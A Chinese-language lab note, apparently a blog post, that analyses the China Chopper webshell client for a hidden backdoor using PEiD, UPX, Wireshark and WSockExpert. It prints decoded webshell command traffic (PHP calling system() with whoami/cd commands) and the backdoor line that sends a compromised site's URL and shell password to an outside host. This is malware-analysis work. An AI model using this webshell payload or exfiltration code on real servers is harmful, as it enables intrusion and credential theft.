分析软件及其隐藏后门实验笔记

软件后门和软件加壳是什么

        软件后门可以理解为在软件中植入病毒等具有后门功能的代码,通过运行软件来对用户的系统造成破坏、窃取机密等。

        软件加壳一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP(入口点),防止被破解。大多数病毒就是基于此原理。加壳的程序需要阻止外部程序或软件对加壳程序本身的分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。

分析工具

winsock expert

        一个用来监视和修改网络发送和接收数据的程序,WinSock Expert可以用来帮助您调试网络应用程序,分析网络程序的通信协议(如分析OICQ的发送接收数据),并且在必要的时候能够修改发送的数据

UPX

        UPX (the Ultimate Packer for eXecutables)是一款先进的可执行程序文件压缩器,压缩过的可执行文件体积缩小50%-70% ,这样减少了磁盘占用空间、网络上传下载的时间和其它分布以及存储费用。 通过 UPX 压缩过的程序和程序库完全没有功能损失和压缩之前一样可正常地运行,对于支持的大多数格式没有运行时间或内存的不利后果。

Wireshark

        Wireshark是免费的网络协议检测分析程序。让您经由程序抓取运行的网站的相关资讯,包括每一封包流向及其内容、资讯可依操作系统语系看出,方便查看、监控TCP session动态等等。

PEID

        一款专业很好用的查壳软件,几乎可以侦测出所有的壳,其数量已超过470 种PE文档 的加壳类型和签名,另外还可识别出EXE文件是用什么语言编写的,比如:VC++、Delphi、VB或Delphi等。

分析方法

         分析软件的方法可以有静态分析和动态分析,这里的实验是分析中国菜刀。

静态分析

        在peid中打开中国菜刀,可以看出来加壳了:分析软件及其隐藏后门实验笔记_第1张图片

        通过upx对它进行脱壳处理:分析软件及其隐藏后门实验笔记_第2张图片

        脱壳处理后,在用peid检查,发现已经去壳了,并且peid告诉我们它是用VC++6.0写的:分析软件及其隐藏后门实验笔记_第3张图片

         把它的可见字符串打印出来,并且有目的地寻找一些字符,比如chopper:

         通过命令findstr查找

分析软件及其隐藏后门实验笔记_第4张图片

动态分析

         在靶机上写一个php一句话放在网站的根目录下,如1.php,内容为:



        然后在攻击机打开wireshark准备监听数据包,同时使用菜刀进行连接:分析软件及其隐藏后门实验笔记_第5张图片

分析软件及其隐藏后门实验笔记_第6张图片 

分析软件及其隐藏后门实验笔记_第7张图片 

        wireshark监听到了这样的数据包:分析软件及其隐藏后门实验笔记_第8张图片

        这表示客户端在80端口上,以HTTP POST方式通讯。可以追踪tcp流来查看整个tcp数据交互过程:

分析软件及其隐藏后门实验笔记_第9张图片

         红色部分为攻击机POST提交控制命令的内容,蓝色部分为靶机返回结果。可以看到一共有z0,z1,z2三个参数,用burp解码模块,先使用url解码,再进行base64解码:分析软件及其隐藏后门实验笔记_第10张图片

        明文如下:
z0=@ini_set("display_errors","0")@set_time_limit(0)@set_magic_quotes_runtime(0)echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";$r="{$p} {$c}";@system($r." 2>&1");;echo("|<-");die();
z1=cmd
z2=cd /d "C:\phpstudy\PHPTutorial\WWW\"&whoami&echo [S]&cd&echo [E]
        z1的值是cmd,z2的值是cd /d "C:\phpstudy\PHPTutorial\WWW\"&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行输入的cmd命令,列出当前用户与当前目录,执行结果如下所示:

分析软件及其隐藏后门实验笔记_第11张图片

分析后门

         用抓包软件WSockExpert选择菜刀,并连接菜刀:分析软件及其隐藏后门实验笔记_第12张图片分析软件及其隐藏后门实验笔记_第13张图片

        在菜刀中的操作会在WSockExpert里面记录:分析软件及其隐藏后门实验笔记_第14张图片

分析软件及其隐藏后门实验笔记_第15张图片 

         这里也需要进行解码,先URL解码再base64解码,一次URL解码一次base64解码之后还存在密文,需要继续解码:分析软件及其隐藏后门实验笔记_第16张图片

        最后得到明文:

if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.7jyewu.cn/hack.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&Pass='.key($_POST));}

        这里的http://www.7jyewu.cn/hack.php就是这个菜刀的后门地址。

        HTTP_HOST就是拿到shell的网站,REQUEST_URI就是shell的URI,Pass就是菜刀连接一句话时的密码。这段代码的大概意思就是,会将我们拿到shell的网站的地址,密码等都通过后门传送给这个网站的所有者。这样就分析出了这个菜刀是存在后门的。 

         对有后门的软件,可以删除软件里面的后门url连接并保存,在不影响正常使用的情况下清除后门。

你可能感兴趣的:(网络安全,笔记,网络安全,学习)